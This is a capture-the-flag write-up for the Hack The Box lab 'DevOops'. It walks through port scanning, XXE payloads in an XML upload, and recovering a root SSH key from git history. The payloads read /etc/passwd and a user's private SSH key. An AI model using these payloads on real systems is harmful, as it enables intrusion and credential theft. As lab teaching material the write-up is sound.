Snow Den

Hack The Box - DevOops

Box Info

Box profile: DevOops
OS: Linux
Maker: lokori
Release date: July 2, 2018
Retire date: October 13, 2018
Own date: September 6, 2018

Foreword

These writeups should be taken as insight into the processes and techniques involved rather than a walkthrough to completing the boxes in question. You should never execute code without first understanding what it does, and always do outside research in order to figure out why you're taking the steps you are. This is for your safety, and also ensures that you have an understanding of the fundamentals involved with the ability to reproduce things in new and different scenarios. As such, while these guides outline fairly precise steps to take, some of the more basic information may be omitted for brevity.

If you do not understand what is going on, read the manual until you do.

Introduction

There isn't really much to say about this box. It's fairly simple, but it has a good lesson to teach. This is a box that I can certainly recommend to newer pentesters.

Initial Enumeration

We'll start with a full range nmap scan to our target.

att$ nmap -p- -A -T4 10.10.10.91
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  http

We see that there is a web server available on port 5000, but visiting it yields little more than a simple "under construction" page with nothing to it. Let's see if anything interesting comes up if we run it through a web fuzzer such as Dirbuster. We can see from the front-page image that this server uses files without any extension, so we'll set it to only try URLs without an extension or a trailing slash.

From our Dirbuster results, we see that there is an upload path available to us. When we visit it, we're greeted with an upload form that has three XML elements defined on the page, so we know that this will be an XML upload. Let's construct a basic XML document to test this form.

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <Author>author</Author>
 <Subject>subject</Subject>
 <Content>content</Content>
</root>

Submitting this gives us an echo of its contents, along with a URL that we can visit to view the uploaded file.

Information Disclosure

Because the response is an echo of the contents, we may be able to use what's known as an "XML external entity attack" (XXE). This attack has the potential for disclosure of file contents, and in some cases even remote code execution. Let's first test the XXE by trying to read the system's passwd file.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>
 <Author>a</Author>
 <Subject>s</Subject>
 <Content>&file;</Content>
</root>

Submitting this, it indeed echoes the contents of passwd. We can see from its output that there are a few users on the system, with the "roosa" user likely being someone's actual login. Since SSH is available on the system, let's see if we can snag his private SSH key so we can log in as him.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///home/roosa/.ssh/id_rsa">
]>
<root>
 <Author>a</Author>
 <Subject>s</Subject>
 <Content>&file;</Content>
</root>

We get his key, so now we can add it to our own SSH config file and log in as him.

Server Enumeration

Right off the bat we can see in the user's .bash_history file that they are using Git to manage their web app's code. Reading through the file, we notice some very interesting entries (snipped for brevity).

roo$ cat ~/.bash_history
cd work/blogfeed/
git add resources/integration/authcredentials.key
git commit -m 'add key for feed integration from tnerprise backend'
ssh-keygen
cp kak resources/integration/authcredentials.key
git add resources/integration/authcredentials.key 
git commit -m 'reverted accidental commit with proper key'

Privelege Escalation

So we know that the user is using Git to manage their code, and they have at one point accidentally committed an SSH key to their Git repository. Unfortunately for them, simply removing and committing further does not remove the key completely; the key is stored in the git history unless they were to revert it first and then commit again. Let's look for the ID of this commit and see if we can extract this key from it.

roo$ git log oneline
7ff507d Use Base64 for pickle feed loading
26ae6c8 Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.
cec54d8 Debug support added to make development more agile.
ca3e768 Blogfeed app, initial version.
dfebfdf Gunicorn startup script
33e87c3 reverted accidental commit with proper key
d387abf add key for feed integration from tnerprise backend
1422e5a Initial commit
roo$ git show d387abf:resources/integration/authcredentials.key

We get the key, and after adding it to our SSH config and trying to use it for the root user, we get a successful login.

Conclusion

With this box, we exploited an XML data processing vulnerability to retrieve the user's private SSH key. After logging in as this user, we then found the root user's SSH key tucked away in a git repository's history.

This was a fairly simple box that highlights an often overlooked feature of Git: Everything that you add to a commit is stored in that repository's history, even if you make changes to overwrite it in subsequent commits. This is great for tracking code changes and for making sure that old versions are accessible for later reference, but the downside is that unless you revert it first, any sensitive information stays there too. It's therefore advisable that in such a situation, you should always make sure to revert it back before doing anything else, or cycle out any active keys or passwords as necessary.